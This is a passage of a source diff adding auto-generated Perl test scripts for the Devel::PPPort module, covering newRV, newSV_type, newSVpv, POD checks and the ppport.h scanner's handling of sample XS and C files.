+&Devel::PPPort::call_newCONSTSUB_3();
+ok(&Devel::PPPort::test_value_3(), 3);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t
new file mode 100644
index 00000000000..731a62b1f65
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newRV.t
@@ -0,0 +1,53 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newRV instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (2) {
+ load();
+ plan(tests => 2);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(&Devel::PPPort::newRV_inc_REFCNT, 1);
+ok(&Devel::PPPort::newRV_noinc_REFCNT, 1);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t
new file mode 100644
index 00000000000..1b3233e5ce7
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSV_type.t
@@ -0,0 +1,52 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newSV_type instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (1) {
+ load();
+ plan(tests => 1);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+ok(Devel::PPPort::newSV_type(), 4);
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t
new file mode 100644
index 00000000000..d14a53fbe89
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/newSVpv.t
@@ -0,0 +1,78 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/newSVpv instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (15) {
+ load();
+ plan(tests => 15);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @s = &Devel::PPPort::newSVpvn();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_flags();
+ok(@s == 5);
+ok($s[0], "test");
+ok($s[1], "te");
+ok($s[2], "");
+ok(!defined($s[3]));
+ok(!defined($s[4]));
+
+@s = &Devel::PPPort::newSVpvn_utf8();
+ok(@s == 1);
+ok($s[0], "test");
+
+if ($] >= 5.008001) {
+ require utf8;
+ ok(utf8::is_utf8($s[0]));
+}
+else {
+ skip("skip: no is_utf8()", 0);
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t
new file mode 100644
index 00000000000..c1a35b20a00
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/podtest.t
@@ -0,0 +1,83 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/podtest instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (0) {
+ load();
+ plan(tests => 0);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+my @pods = qw( HACKERS PPPort.pm ppport.h soak devel/regenerate devel/buildperl.pl );
+
+my $reason = '';
+
+if ($ENV{'SKIP_SLOW_TESTS'}) {
+ $reason = 'SKIP_SLOW_TESTS';
+}
+else {
+ # Try loading Test::Pod
+ eval q{
+ use Test::Pod;
+ $Test::Pod::VERSION >= 0.95
+ or die "Test::Pod version only $Test::Pod::VERSION";
+ import Test::Pod tests => scalar @pods;
+ };
+ $reason = 'Test::Pod >= 0.95 required' if $@;
+}
+
+if ($reason) {
+ load();
+ plan(tests => scalar @pods);
+}
+
+for (@pods) {
+ print "# checking $_\n";
+ if ($reason) {
+ skip("skip: $reason", 0);
+ }
+ else {
+ pod_file_ok($_);
+ }
+}
+
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t b/gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t
new file mode 100644
index 00000000000..90d7d24ab82
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/t/ppphtest.t
@@ -0,0 +1,947 @@
+################################################################################
+#
+# !!!!! Do NOT edit this file directly! !!!!!
+#
+# Edit mktests.PL and/or parts/inc/ppphtest instead.
+#
+# This file was automatically generated from the definition files in the
+# parts/inc/ subdirectory by mktests.PL. To learn more about how all this
+# works, please read the F<HACKERS> file that came with this distribution.
+#
+################################################################################
+
+BEGIN {
+ if ($ENV{'PERL_CORE'}) {
+ chdir 't' if -d 't';
+ @INC = ('../lib', '../ext/Devel-PPPort/t') if -d '../lib' && -d '../ext';
+ require Config; import Config;
+ use vars '%Config';
+ if (" $Config{'extensions'} " !~ m[ Devel/PPPort ]) {
+ print "1..0 # Skip -- Perl configured without Devel::PPPort module\n";
+ exit 0;
+ }
+ }
+ else {
+ unshift @INC, 't';
+ }
+
+ sub load {
+ eval "use Test";
+ require 'testutil.pl' if $@;
+ }
+
+ if (238) {
+ load();
+ plan(tests => 238);
+ }
+}
+
+use Devel::PPPort;
+use strict;
+$^W = 1;
+
+package Devel::PPPort;
+use vars '@ISA';
+require DynaLoader;
+@ISA = qw(DynaLoader);
+bootstrap Devel::PPPort;
+
+package main;
+
+BEGIN {
+ if ($ENV{'SKIP_SLOW_TESTS'}) {
+ for (1 .. 238) {
+ skip("skip: SKIP_SLOW_TESTS", 0);
+ }
+ exit 0;
+ }
+}
+
+use File::Path qw/rmtree mkpath/;
+use Config;
+
+my $tmp = 'ppptmp';
+my $inc = '';
+my $isVMS = $^O eq 'VMS';
+my $isMAC = $^O eq 'MacOS';
+my $perl = find_perl();
+
+rmtree($tmp) if -d $tmp;
+mkpath($tmp) or die "mkpath $tmp: $!\n";
+chdir($tmp) or die "chdir $tmp: $!\n";
+
+if ($ENV{'PERL_CORE'}) {
+ if (-d '../../lib') {
+ if ($isVMS) {
+ $inc = '"-I../../lib"';
+ }
+ elsif ($isMAC) {
+ $inc = '-I:::lib';
+ }
+ else {
+ $inc = '-I../../lib';
+ }
+ unshift @INC, '../../lib';
+ }
+}
+if ($perl =~ m!^\./!) {
+ $perl = ".$perl";
+}
+
+END {
+ chdir('..') if !-d $tmp && -d "../$tmp";
+ rmtree($tmp) if -d $tmp;
+}
+
+ok(&Devel::PPPort::WriteFile("ppport.h"));
+
+# Check GetFileContents()
+ok(-e "ppport.h", 1);
+
+my $data;
+
+open(F, "<ppport.h") or die "Failed to open ppport.h: $!";
+while(<F>) {
+ $data .= $_;
+}
+close(F);
+
+ok(Devel::PPPort::GetFileContents("ppport.h"), $data);
+ok(Devel::PPPort::GetFileContents(), $data);
+
+sub comment
+{
+ my $c = shift;
+ $c =~ s/^/# | /mg;
+ $c .= "\n" unless $c =~ /[\r\n]$/;
+ print $c;
+}
+
+sub ppport
+{
+ my @args = ('ppport.h', @_);
+ unshift @args, $inc if $inc;
+ my $run = $perl =~ m/\s/ ? qq("$perl") : $perl;
+ $run .= ' -MMac::err=unix' if $isMAC;
+ for (@args) {
+ $_ = qq("$_") if $isVMS && /^[^"]/;
+ $run .= " $_";
+ }
+ print "# *** running $run ***\n";
+ $run .= ' 2>&1' unless $isMAC;
+ my @out = `$run`;
+ my $out = join '', @out;
+ comment($out);
+ return wantarray ? @out : $out;
+}
+
+sub matches
+{
+ my($str, $re, $mod) = @_;
+ my @n;
+ eval "\@n = \$str =~ /$re/g$mod;";
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ return $@ ? -42 : scalar @n;
+}
+
+sub eq_files
+{
+ my($f1, $f2) = @_;
+ return 0 unless -e $f1 && -e $f2;
+ local *F;
+ for ($f1, $f2) {
+ print "# File: $_\n";
+ unless (open F, $_) {
+ print "# couldn't open $_: $!\n";
+ return 0;
+ }
+ $_ = do { local $/; <F> };
+ close F;
+ comment($_);
+ }
+ return $f1 eq $f2;
+}
+
+my @tests;
+
+for (split /\s*={70,}\s*/, do { local $/; <DATA> }) {
+ s/^\s+//; s/\s+$//;
+ my($c, %f);
+ ($c, @f{m/-{20,}\s+(\S+)\s+-{20,}/g}) = split /\s*-{20,}\s+\S+\s+-{20,}\s*/;
+ push @tests, { code => $c, files => \%f };
+}
+
+my $t;
+for $t (@tests) {
+ print "#\n", ('# ', '-'x70, "\n")x3, "#\n";
+ my $f;
+ for $f (keys %{$t->{files}}) {
+ my @f = split /\//, $f;
+ if (@f > 1) {
+ pop @f;
+ my $path = join '/', @f;
+ mkpath($path) or die "mkpath('$path'): $!\n";
+ }
+ my $txt = $t->{files}{$f};
+ local *F;
+ open F, ">$f" or die "open $f: $!\n";
+ print F "$txt\n";
+ close F;
+ $txt =~ s/^/# | /mg;
+ print "# *** writing $f ***\n$txt\n";
+ }
+
+ my $code = $t->{code};
+ $code =~ s/^/# | /mg;
+
+ print "# *** evaluating test code ***\n$code\n";
+
+ eval $t->{code};
+ if ($@) {
+ my $err = $@;
+ $err =~ s/^/# *** /mg;
+ print "# *** ERROR ***\n$err\n";
+ }
+ ok($@, '');
+
+ for (keys %{$t->{files}}) {
+ unlink $_ or die "unlink('$_'): $!\n";
+ }
+}
+
+sub find_perl
+{
+ my $perl = $^X;
+
+ return $perl if $isVMS;
+
+ my $exe = $Config{'_exe'} || '';
+
+ if ($perl =~ /^perl\Q$exe\E$/i) {
+ $perl = "perl$exe";
+ eval "require File::Spec";
+ if ($@) {
+ $perl = "./$perl";
+ } else {
+ $perl = File::Spec->catfile(File::Spec->curdir(), $perl);
+ }
+ }
+
+ if ($perl !~ /\Q$exe\E$/i) {
+ $perl .= $exe;
+ }
+
+ warn "find_perl: cannot find $perl from $^X" unless -f $perl;
+
+ return $perl;
+}
+
+__DATA__
+
+my $o = ppport(qw(--help));
+ok($o =~ /^Usage:.*ppport\.h/m);
+ok($o =~ /--help/m);
+
+$o = ppport(qw(--version));
+ok($o =~ /^This is.*ppport.*\d+\.\d+(?:_?\d+)?\.$/);
+
+$o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*test\.xs/mi);
+ok($o =~ /Analyzing.*test\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+ok($o =~ /Uses Perl_newSViv instead of newSViv/);
+
+$o = ppport(qw(--quiet --nochanges));
+ok($o =~ /^\s*$/);
+
+---------------------------- test.xs ------------------------------------------
+
+Perl_newSViv();
+
+===============================================================================
+
+# check if C and C++ comments are filtered correctly
+
+my $o = ppport(qw(--copy=a));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o =~ /Uses 1 C\+\+ style comment/m);
+ok(eq_files('MyExt.xsa', 'MyExt.ra'));
+
+# check if C++ are left untouched with --cplusplus
+
+$o = ppport(qw(--copy=b --cplusplus));
+ok($o =~ /^Scanning.*MyExt\.xs/mi);
+ok($o =~ /Analyzing.*MyExt\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Uses grok_bin/m);
+ok($o !~ /^Uses newSVpv/m);
+ok($o !~ /Uses \d+ C\+\+ style comment/m);
+ok(eq_files('MyExt.xsb', 'MyExt.rb'));
+
+unlink qw(MyExt.xsa MyExt.xsb);
+
+---------------------------- MyExt.xs -----------------------------------------
+
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.ra -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ /* newSVpv(); */
+ XPUSHs(foo);
+/* grok_bin(); */
+
+---------------------------- MyExt.rb -----------------------------------------
+
+#include "ppport.h"
+newSVuv();
+ // newSVpv();
+ XPUSHs(foo);
+/* grok_bin(); */
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o =~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /^Uses newCONSTSUB/m);
+ok($o =~ /^Uses PL_expect/m);
+ok($o =~ /^Uses SvPV_nolen.*depends.*sv_2pv_flags/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file1.xs));
+ok($o =~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /Analyzing.*file1\.xs/mi);
+ok($o !~ /^Scanning.*file2\.xs/mi);
+ok($o !~ /^Uses newCONSTSUB/m);
+ok($o !~ /^Uses PL_expect/m);
+ok($o !~ /^Uses SvPV_nolen/m);
+ok($o =~ /WARNING: PL_expect/m);
+ok($o !~ /hint for newCONSTSUB/m);
+ok($o =~ /^Analysis completed \(1 warning\)/m);
+ok($o =~ /^Looks good/m);
+
+$o = ppport(qw(--nochanges --quiet file1.xs));
+ok($o =~ /^\s*$/);
+
+$o = ppport(qw(--nochanges file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o =~ /^Uses mXPUSHp/m);
+ok($o =~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --nohints --nodiag file2.xs));
+ok($o =~ /^Scanning.*file2\.xs/mi);
+ok($o =~ /Analyzing.*file2\.xs/mi);
+ok($o !~ /^Scanning.*file1\.xs/mi);
+ok($o !~ /^Uses mXPUSHp/m);
+ok($o !~ /^Needs to include.*ppport\.h/m);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^1 potentially required change detected/m);
+
+$o = ppport(qw(--nochanges --quiet file2.xs));
+ok($o =~ /^\s*$/);
+
+---------------------------- file1.xs -----------------------------------------
+
+#define NEED_newCONSTSUB
+#define NEED_sv_2pv_flags
+#define NEED_PL_parser
+#include "ppport.h"
+
+newCONSTSUB();
+SvPV_nolen();
+PL_expect = 0;
+
+---------------------------- file2.xs -----------------------------------------
+
+mXPUSHp(foo);
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*FooBar\.xs/mi);
+ok($o =~ /Analyzing.*FooBar\.xs/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok($o !~ /^Looks good/m);
+ok($o =~ /^Uses grok_bin/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+newSViv();
+XPUSHs(foo);
+grok_bin();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*First\.xs/mi);
+ok($o =~ /Analyzing.*First\.xs/mi);
+ok($o =~ /^Scanning.*second\.h/mi);
+ok($o =~ /Analyzing.*second\.h/mi);
+ok($o =~ /^Scanning.*sub.*third\.c/mi);
+ok($o =~ /Analyzing.*sub.*third\.c/mi);
+ok($o !~ /^Scanning.*foobar/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+
+---------------------------- First.xs -----------------------------------------
+
+one
+
+---------------------------- foobar.xyz ---------------------------------------
+
+two
+
+---------------------------- second.h -----------------------------------------
+
+three
+
+---------------------------- sub/third.c --------------------------------------
+
+four
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Possibly wrong #define NEED_foobar in.*test.xs/i);
+
+---------------------------- test.xs ------------------------------------------
+
+#define NEED_foobar
+
+===============================================================================
+
+# And now some complex "real-world" example
+
+my $o = ppport(qw(--copy=f));
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c mod5.c)) {
+ ok($o =~ /^Scanning.*\Q$_\E/mi);
+ ok($o =~ /Analyzing.*\Q$_\E/i);
+}
+ok(matches($o, '^Scanning', 'm'), 6);
+
+ok(matches($o, '^Writing copy of', 'm'), 5);
+ok(!-e "mod5.cf");
+
+for (qw(main.xs mod1.c mod2.c mod3.c mod4.c)) {
+ ok($o =~ /^Writing copy of.*\Q$_\E.*with changes/mi);
+ ok(-e "${_}f");
+ ok(eq_files("${_}f", "${_}r"));
+ unlink "${_}f";
+}
+
+---------------------------- main.xs ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_newCONSTSUB
+#define NEED_grok_hex_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+Perl_grok_bin(aTHX_ foo, bar);
+
+/* some comment */
+
+perl_eval_pv();
+grok_bin();
+Perl_grok_bin(bar, sv_no);
+
+---------------------------- mod1.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#define NEED_newCONSTSUB
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak ("foo");
+ Perl_sv_catpvf(); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv
+#include "ppport.h"
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+START_MY_CXT;
+
+---------------------------- mod5.c -------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#include "ppport.h"
+call_pv();
+
+---------------------------- main.xsr -----------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_eval_pv_GLOBAL
+#define NEED_grok_hex
+#define NEED_newCONSTSUB_GLOBAL
+#define NEED_sv_2pv_flags_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_hex();
+grok_bin(foo, bar);
+
+/* some comment */
+
+eval_pv();
+grok_bin();
+grok_bin(bar, PL_sv_no);
+
+---------------------------- mod1.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+#define NEED_grok_bin_GLOBAL
+#include "ppport.h"
+
+newCONSTSUB();
+grok_bin();
+{
+ Perl_croak (aTHX_ "foo");
+ Perl_sv_catpvf(aTHX); /* I know it's wrong ;-) */
+}
+
+---------------------------- mod2.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+
+
+newSViv();
+
+/*
+ eval_pv();
+*/
+
+---------------------------- mod3.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#define NEED_grok_oct
+#include "ppport.h"
+
+grok_oct();
+eval_pv();
+
+---------------------------- mod4.cr ------------------------------------------
+
+#include "EXTERN.h"
+#include "perl.h"
+#include "XSUB.h"
+#include "ppport.h"
+
+START_MY_CXT;
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses grok_hex/m);
+ok($o !~ /Looks good/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.8.0));
+ok($o !~ /Uses grok_hex/m);
+ok($o =~ /Looks good/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+grok_hex();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.5.3));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.005_03));
+ok($o =~ /Uses SvPVutf8_force, which may not be portable/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.6.0));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.006));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.999));
+ok($o !~ /Uses SvPVutf8_force/m);
+
+$o = ppport(qw(--nochanges --compat-version=6.0.0));
+ok($o =~ /Only Perl 5 is supported/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.1000.999));
+ok($o =~ /Invalid version number: 5.1000.999/m);
+
+$o = ppport(qw(--nochanges --compat-version=5.999.1000));
+ok($o =~ /Invalid version number: 5.999.1000/m);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+SvPVutf8_force();
+
+===============================================================================
+
+my $o = ppport(qw(--nochanges));
+ok($o !~ /potentially required change/);
+ok(matches($o, '^Looks good', 'm'), 2);
+
+---------------------------- FooBar.xs ----------------------------------------
+
+#define NEED_grok_numeric_radix
+#define NEED_grok_number
+#include "ppport.h"
+
+GROK_NUMERIC_RADIX();
+grok_number();
+
+---------------------------- foo.c --------------------------------------------
+
+#include "ppport.h"
+
+call_pv();
+
+===============================================================================
+
+# check --api-info option
+
+my $o = ppport(qw(--api-info=INT2PTR));
+my %found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{INT2PTR});
+ok(matches($o, '^Supported at least starting from perl-5\.6\.0\.', 'm'), 1);
+ok(matches($o, '^Support by .*ppport.* provided back to perl-5\.003\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=Zero));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 1);
+ok(exists $found{Zero});
+ok(matches($o, '^No portability information available\.', 'm'), 1);
+
+$o = ppport(qw(--api-info=/Zero/));
+%found = map {($_ => 1)} $o =~ /^===\s+(\w+)\s+===/mg;
+ok(scalar keys %found, 2);
+ok(exists $found{Zero});
+ok(exists $found{ZeroD});
+
+===============================================================================
+
+# check --list-provided option
+
+my @o = ppport(qw(--list-provided));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $flags) = /^(\w+)(?:\s+\[(\w+(?:,\s+\w+)*)\])?$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = defined $flags ? { map { ($_ => 1) } $flags =~ /(\w+)/g } : '';
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{call_pv});
+ok(not ref $p{call_pv});
+
+ok(exists $p{grok_bin});
+ok(ref $p{grok_bin}, 'HASH');
+ok(scalar keys %{$p{grok_bin}}, 2);
+ok($p{grok_bin}{explicit});
+ok($p{grok_bin}{depend});
+
+ok(exists $p{gv_stashpvn});
+ok(ref $p{gv_stashpvn}, 'HASH');
+ok(scalar keys %{$p{gv_stashpvn}}, 2);
+ok($p{gv_stashpvn}{depend});
+ok($p{gv_stashpvn}{hint});
+
+ok(exists $p{sv_catpvf_mg});
+ok(ref $p{sv_catpvf_mg}, 'HASH');
+ok(scalar keys %{$p{sv_catpvf_mg}}, 2);
+ok($p{sv_catpvf_mg}{explicit});
+ok($p{sv_catpvf_mg}{depend});
+
+ok(exists $p{PL_signals});
+ok(ref $p{PL_signals}, 'HASH');
+ok(scalar keys %{$p{PL_signals}}, 1);
+ok($p{PL_signals}{explicit});
+
+===============================================================================
+
+# check --list-unsupported option
+
+my @o = ppport(qw(--list-unsupported));
+my %p;
+my $fail = 0;
+for (@o) {
+ my($name, $ver) = /^(\w+)\s*\.+\s*([\d._]+)$/ or $fail++;
+ exists $p{$name} and $fail++;
+ $p{$name} = $ver;
+}
+ok(@o > 100);
+ok($fail, 0);
+
+ok(exists $p{utf8_distance});
+ok($p{utf8_distance}, '5.6.0');
+
+ok(exists $p{save_generic_svref});
+ok($p{save_generic_svref}, '5.005_03');
+
+===============================================================================
+
+# check --nofilter option
+
+my $o = ppport(qw(--nochanges));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges foo.cpp foo.o Makefile.PL));
+ok($o =~ /Skipping the following files \(use --nofilter to avoid this\):/m);
+ok(matches($o, '^\|\s+foo\.o', 'mi'), 1);
+ok(matches($o, '^\|\s+Makefile\.PL', 'mi'), 1);
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok(matches($o, '^Scanning', 'm'), 1);
+ok(matches($o, 'Analyzing', 'm'), 1);
+
+$o = ppport(qw(--nochanges --nofilter foo.cpp foo.o Makefile.PL));
+ok($o =~ /^Scanning.*foo\.cpp/mi);
+ok($o =~ /Analyzing.*foo\.cpp/mi);
+ok($o =~ /^Scanning.*foo\.o/mi);
+ok($o =~ /Analyzing.*foo\.o/mi);
+ok($o =~ /^Scanning.*Makefile/mi);
+ok($o =~ /Analyzing.*Makefile/mi);
+ok(matches($o, '^Scanning', 'm'), 3);
+ok(matches($o, 'Analyzing', 'm'), 3);
+
+---------------------------- foo.cpp ------------------------------------------
+
+newSViv();
+
+---------------------------- foo.o --------------------------------------------
+
+newSViv();
+
